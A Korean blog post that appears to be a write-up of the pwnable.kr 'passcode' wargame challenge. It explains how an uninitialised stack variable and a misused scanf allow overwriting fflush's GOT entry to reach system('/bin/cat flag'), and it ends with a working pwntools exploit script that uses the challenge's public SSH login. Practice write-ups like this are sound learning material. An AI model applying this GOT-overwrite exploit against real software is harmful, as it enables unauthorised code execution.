-
passcodeWargame/Pwnable.kr 2019. 12. 27. 22:22
최근에 pwnable.kr를 다시 풀고 있는데 막히는 문제가 나올때마다 다시 write up을 적을 생각이다.
이 문제는 다음 경우를 알면 풀 수 있는 문제이다.
1. scanf 함수의 동작 방식을 아는가? (지정한 주소의 값에 쓰기를 행함.) 2. 굳이 if문을 성립시켜야 하는가?
<welcome> 함수에서 100개를 입력받고 스택의 같은 부분을 <login> 함수가 사용하여 <login> 함수의passcode1 변수가 overflow를 통해 덮어씌워질 수 있다.
그리고, scanf 함수에 passcode1의 주소가 아닌 passcode1 자체에 쓰기를 행한다.
여기서 passcode1를 덮어씌울 수 있으므로, 다음 실행 함수인 fflush@got를 passcode1로 덮어씌운다.
위의 방법은 Partial RELRO 이기에 가능한 방법.
scanf함수가 실행하게 되면, fflush@got 함수를 덮을 곳을 찾아야 하는데 그 부분의 <login+127>에서 찾을 수 있었다.
fflush@got 함수를 저 주소로 덮게 되면, fflush@plt가 호출되었을때, login+127로 jmp할 것이다.
그렇게 되면, system("/bin/cat flag") 를 실행하게 될 것이다.
덮을 때에 %d 이므로 10진수로 보내줘야 한다.
이 문제의 핵심은 고정된 생각 (if문을 성립시켜 flag를 획득하는 방법) 을 깨는 것이 중요했다.
전에도 문제 풀때 if문을 성립시켜 문제를 해결하려고 계속해서 시도했지만, 실패하여 풀이를 봤다. 그때도 마찬가지로 if문은 중요하지 않았다.
exploit.py
from pwn import * shell = ssh(user='passcode',host='pwnable.kr',port=2222,password='guest') p = shell.process("./passcode") fflush_got = 0x804a004 system = 134514147 payload = '' payload += "A"*96 payload += p32(fflush_got) p.sendlineafter(": ", payload) p.sendlineafter(": ", str(system)) log.info("flag is : "+p.recvuntil('\n'))
'Wargame > Pwnable.kr' 카테고리의 다른 글
특이점이 온 random (0) 2019.12.29 Random (0) 2019.06.15 flag (0) 2019.06.14 bof (0) 2019.06.14 collision (0) 2019.06.14